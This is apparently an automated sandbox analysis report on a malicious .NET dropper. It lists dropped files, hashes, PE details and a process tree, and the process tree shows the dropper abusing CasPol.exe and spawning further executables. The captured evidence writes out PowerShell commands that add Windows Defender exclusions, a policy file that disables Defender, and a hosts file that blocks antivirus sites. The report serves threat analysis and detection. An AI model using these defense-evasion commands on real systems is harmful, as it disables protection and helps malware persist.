                                                                                                        Preview:<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

                                                                                                        C:\Users\user\Pictures\zKRmyPOjumLsF9lPguEKV5Yd.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
                                                                                                        SHA-512:F4031B49946DA7C6C270E0354AC845B5C77B9DFCD267442E0571DD33CCD5146BC352ED42B59800C9D166C8C1EDE61469A00A4E8D3738D937502584E8A1B72485
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

                                                                                                        C:\Users\user\Pictures\zuTkcDdNQ6MkLeAs0lGPxvRR.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Windows\System32\GroupPolicy\Machine\Registry.pol

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:RAGE Package Format (RPF),
                                                                                                        Category:dropped
                                                                                                        Size (bytes):1926
                                                                                                        Entropy (8bit):3.310422749310586
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:24:wSLevFeSLe5BeSwbv5qweSw4q7j/eScdepWDbVeScden2W8eScdemevtmeScdeRg:KFIBkbv5qwk4qfKV2QxVCZ
                                                                                                        MD5:CDFD60E717A44C2349B553E011958B85
                                                                                                        SHA1:431136102A6FB52A00E416964D4C27089155F73B
                                                                                                        SHA-256:0EE08DA4DA3E4133E1809099FC646468E7156644C9A772F704B80E338015211F
                                                                                                        SHA-512:DFEA0D0B3779059E64088EA9A13CD6B076D76C64DB99FA82E6612386CAE5CDA94A790318207470045EF51F0A410B400726BA28CB6ECB6972F081C532E558D6A8
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:PReg....[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.A.n.t.i.S.p.y.w.a.r.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.R.o.u.t.i.n.e.l.y.T.a.k.i.n.g.A.c.t.i.o.n...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s...;.E.x.c.l.u.s.i.o.n.s._.E.x.t.e.n.s.i.o.n.s...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.E.x.t.e.n.s.i.o.n.s...;.e.x.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.r.o.t.e.c.t.i.o.n...;.D.i.s.a.b.l.e.B.e.h.a.v.i.o.r.M.o.n.i.t.o.r.i.n.g...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.

                                                                                                        C:\Windows\System32\GroupPolicy\gpt.ini

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:ASCII text
                                                                                                        Category:modified
                                                                                                        Size (bytes):268
                                                                                                        Entropy (8bit):4.9507895998010145
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:6:1QnMzYHxbnPonn3dXsMzYHxbnn/JIAuNhUHdhJg+5Rnn3dzC:1QM0HxbnIV0Hxbn/JnumuuzC
                                                                                                        MD5:A62CE44A33F1C05FC2D340EA0CA118A4
                                                                                                        SHA1:1F03EB4716015528F3DE7F7674532C1345B2717D
                                                                                                        SHA-256:9F2CD4ACF23D565BC8498C989FCCCCF59FD207EF8925111DC63E78649735404A
                                                                                                        SHA-512:9D9A4DA2DF0550AFDB7B80BE22C6F4EF7DA5A52CC2BB4831B8FF6F30F0EE9EAC8960F61CDD7CFE0B1B6534A0F9E738F7EB8EA3839D2D92ABEB81660DE76E7732
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:[General].gPCUserExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F73-3407-48AE-BA88-E8213C6761F1}].gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957E-509E-11D1-A7CC-0000F87571E3}{D02B1F72-3407-48AE-BA88-E8213C6761F1}].Version=100001.

                                                                                                        C:\Windows\System32\drivers\etc\hosts

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exe
                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2748
                                                                                                        Entropy (8bit):4.269302338623222
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:48:vDZhyoZWM9rU5fFcDL6iCW1RiJ9rn5w0K:vDZEurK9XiCW1RiXn54
                                                                                                        MD5:7B1D6A1E1228728A16B66C3714AA9A23
                                                                                                        SHA1:8B59677A3560777593B1FA7D67465BBD7B3BC548
                                                                                                        SHA-256:3F15965D0159A818849134B3FBB016E858AC50EFDF67BFCD762606AC51831BC5
                                                                                                        SHA-512:573B68C9865416EA2F9CF5C614FCEDBFE69C67BD572BACEC81C1756E711BD90FCFEE93E17B74FB294756ADF67AD18845A56C87F7F870940CBAEB3A579146A3B6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 avast.com..0.0.0.0 www.avast.com..0.0.0.0 totalav.com..0.0.0.0 www.totalav.com..0.0.0.0 scanguard.com..0.0.0.0 www.scanguard.com..

                                                                                                        C:\Windows\appcompat\Programs\Amcache.hve

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:MS Windows registry file, NT/2000 or above
                                                                                                        Category:dropped
                                                                                                        Size (bytes):1835008
                                                                                                        Entropy (8bit):4.391149165694024
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:6144:cl4fiJoH0ncNXiUjt10q0G/gaocYGBoaUMMhA2NX4WABlBuN1xOBSqa:U4vF0MYQUMM6VFYLxU
                                                                                                        MD5:FDC5A6E9C9B13BA8969F2F692522827E
                                                                                                        SHA1:9F66A3627C405B1353A818C477EA223459BBEE88
                                                                                                        SHA-256:6A3651F2FABB92856606B2B92EA64D45076A1298AFF7CC1858F7A56D4C79D762
                                                                                                        SHA-512:550D2DAC89AE2AE5DF72BA38CD03D320A7974C52B8CABF3416F5911DE9C8F7428CB1F77E729BE7DCD182F23661E4372AFDBC3813CB69E844B08DFABB847D53F3
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:regfG...G....\.Z.................... ....P......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.y.................................................................................................................................................................................................................................................................................................................................................._..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        Static File Info

                                                                                                        General

                                                                                                        File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                        Entropy (8bit):7.200379140545521
                                                                                                        TrID:
                                                                                                        • Win32 Executable (generic) Net Framework (10011505/4) 50.01%
                                                                                                        • Win32 Executable (generic) a (10002005/4) 49.97%
                                                                                                        • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                                        • DOS Executable Generic (2002/1) 0.01%
                                                                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                        File name:file.exe
                                                                                                        File size:1'153'896 bytes
                                                                                                        MD5:db05c4ddd1c651561ce6b89e99a332f6
                                                                                                        SHA1:e92017c7673b82ef1c64c60a19e09307b902e73a
                                                                                                        SHA256:217265f9279820005c1037dd06668169a841230842ddd53961122066d9fb6786
                                                                                                        SHA512:37a3f2e15284489e3c8128a87f5164fbda9ca4f3a369b4ba8fa9f1f449146bfc36e631d766918d0ae6ab6cb31bc517c05bf1b348c980aae7ebd54f945991b8c6
                                                                                                        SSDEEP:24576:9W9bn2dEUp6TJAJJBq4hPCeQcby8MT+uzNS356vsVQxVH20GKYat7PKUboqGTh7l:9W1vJWBq4Amxuz03YvCQxZKK/50qGTh5
                                                                                                        TLSH:CD35E08131D37752E4BBA37712C6EA9CC001F0E615D6AE870EE164C4151DDCAB9B3EAB
                                                                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....V................0..y............... ........@.. ..............................l.....`................................

                                                                                                        File Icon

                                                                                                        Icon Hash:00928e8e8686b000

                                                                                                        Static PE Info

                                                                                                        General

                                                                                                        Entrypoint:0x519982
                                                                                                        Entrypoint Section:.text
                                                                                                        Digitally signed:true
                                                                                                        Imagebase:0x400000
                                                                                                        Subsystem:windows gui
                                                                                                        Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                        DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                        Time Stamp:0xD08B56F9 [Thu Nov 14 06:51:37 2080 UTC]
                                                                                                        TLS Callbacks:
                                                                                                        CLR (.Net) Version:
                                                                                                        OS Version Major:4
                                                                                                        OS Version Minor:0
                                                                                                        File Version Major:4
                                                                                                        File Version Minor:0
                                                                                                        Subsystem Version Major:4
                                                                                                        Subsystem Version Minor:0
                                                                                                        Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                                        Authenticode Signature

                                                                                                        Signature Valid:false
                                                                                                        Signature Issuer:C=CN, CN="ninja Inc "
                                                                                                        Signature Validation Error:A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
                                                                                                        Error Number:-2146762487
                                                                                                        Not Before, Not After
                                                                                                        • 21/11/2023 01:11:16 21/11/2024 01:11:16
                                                                                                        Subject Chain
                                                                                                        • C=CN, CN="ninja Inc "
                                                                                                        Version:3
                                                                                                        Thumbprint MD5:770DC61D907CD5A0AAC99BA10888315D
                                                                                                        Thumbprint SHA-1:6EBEA030ACDFC1DAC3AA42EE416D6773B707215E
                                                                                                        Thumbprint SHA-256:0AF8AB2F40C8409847C3BD146DBF16BC3D6C983BFB6E12CE22116D257BD9CDAA
                                                                                                        Serial:00BE57427CC67FDE56C5F3B81E76E72B79

                                                                                                        Entrypoint Preview

                                                                                                        Instruction
                                                                                                        jmp dword ptr [00402000h]
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al
                                                                                                        add byte ptr [eax], al

                                                                                                        Data Directories

                                                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x1198a40x4a.text
                                                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x11a0000x586.rsrc
                                                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x1184000x1768
                                                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x11c0000xc.reloc
                                                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x1198ee0x38.text
                                                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                        IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                        Sections

                                                                                                        NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                        .text0x20000x1179880x117a00False0.7230552567612875data7.195511453858471IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                        .rsrc0x11a0000x5860x600False0.4134114583333333data4.030406820876349IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                        .reloc0x11c0000xc0x200False0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                        Resources

                                                                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                        RT_VERSION0x11a0a00x2fcdata0.43717277486910994
                                                                                                        RT_MANIFEST0x11a39c0x1eaXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators0.5489795918367347

                                                                                                        Imports

                                                                                                        DLLImport
                                                                                                        mscoree.dll_CorExeMain

                                                                                                        Network Behavior

                                                                                                        ⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

                                                                                                        Statistics

                                                                                                        CPU Usage

                                                                                                        Click to jump to process

                                                                                                        Memory Usage

                                                                                                        Click to jump to process

                                                                                                        High Level Behavior Distribution

                                                                                                        Click to dive into process behavior distribution

                                                                                                        Behavior

                                                                                                        Click to jump to process

                                                                                                        System Behavior

                                                                                                        General

                                                                                                        Target ID:0
                                                                                                        Start time:15:12:25
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Desktop\file.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:C:\Users\user\Desktop\file.exe
                                                                                                        Imagebase:0x750000
                                                                                                        File size:1'153'896 bytes
                                                                                                        MD5 hash:DB05C4DDD1C651561CE6B89E99A332F6
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:.Net C# or VB.NET
                                                                                                        Reputation:low
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:2
                                                                                                        Start time:15:12:25
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\file.exe" -Force
                                                                                                        Imagebase:0x900000
                                                                                                        File size:433'152 bytes
                                                                                                        MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:.Net C# or VB.NET
                                                                                                        Reputation:high
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:3
                                                                                                        Start time:15:12:25
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                        Imagebase:0x7ff70f010000
                                                                                                        File size:862'208 bytes
                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Reputation:high
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:4
                                                                                                        Start time:15:12:25
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        Imagebase:0xf30000
                                                                                                        File size:108'664 bytes
                                                                                                        MD5 hash:914F728C04D3EDDD5FBA59420E74E56B
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:.Net C# or VB.NET
                                                                                                        Reputation:high
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:6
                                                                                                        Start time:15:12:29
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe"
                                                                                                        Imagebase:0x400000
                                                                                                        File size:263'168 bytes
                                                                                                        MD5 hash:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Reputation:low
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:7
                                                                                                        Start time:15:12:29
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe" --silent --allusers=0
                                                                                                        Imagebase:0x8f0000
                                                                                                        File size:2'939'768 bytes
                                                                                                        MD5 hash:AC33A958FADA5BCB892E03D1FF810D8A
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Reputation:low
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:8
                                                                                                        Start time:15:12:30
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2d0,0x300,0x6cf674f0,0x6cf67500,0x6cf6750c
                                                                                                        Imagebase:0x8f0000
                                                                                                        File size:2'939'768 bytes
                                                                                                        MD5 hash:AC33A958FADA5BCB892E03D1FF810D8A
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Reputation:low
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:9
                                                                                                        Start time:15:12:30
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:"C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exe"
                                                                                                        Imagebase:0x7ff778890000
                                                                                                        File size:5'494'552 bytes
                                                                                                        MD5 hash:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Reputation:low
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:10
                                                                                                        Start time:15:12:31
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                                                                                        Imagebase:0x7ff760310000
                                                                                                        File size:452'608 bytes
                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:.Net C# or VB.NET
                                                                                                        Reputation:high
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:12
                                                                                                        Start time:15:12:31
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\r1O81gOTKkD0PfSdUigHGcl2.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\r1O81gOTKkD0PfSdUigHGcl2.exe" --version
                                                                                                        Imagebase:0xe70000
                                                                                                        File size:2'939'768 bytes
                                                                                                        MD5 hash:AC33A958FADA5BCB892E03D1FF810D8A
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Reputation:low
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:13
                                                                                                        Start time:15:12:31
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                        Imagebase:0x7ff70f010000
                                                                                                        File size:862'208 bytes
                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
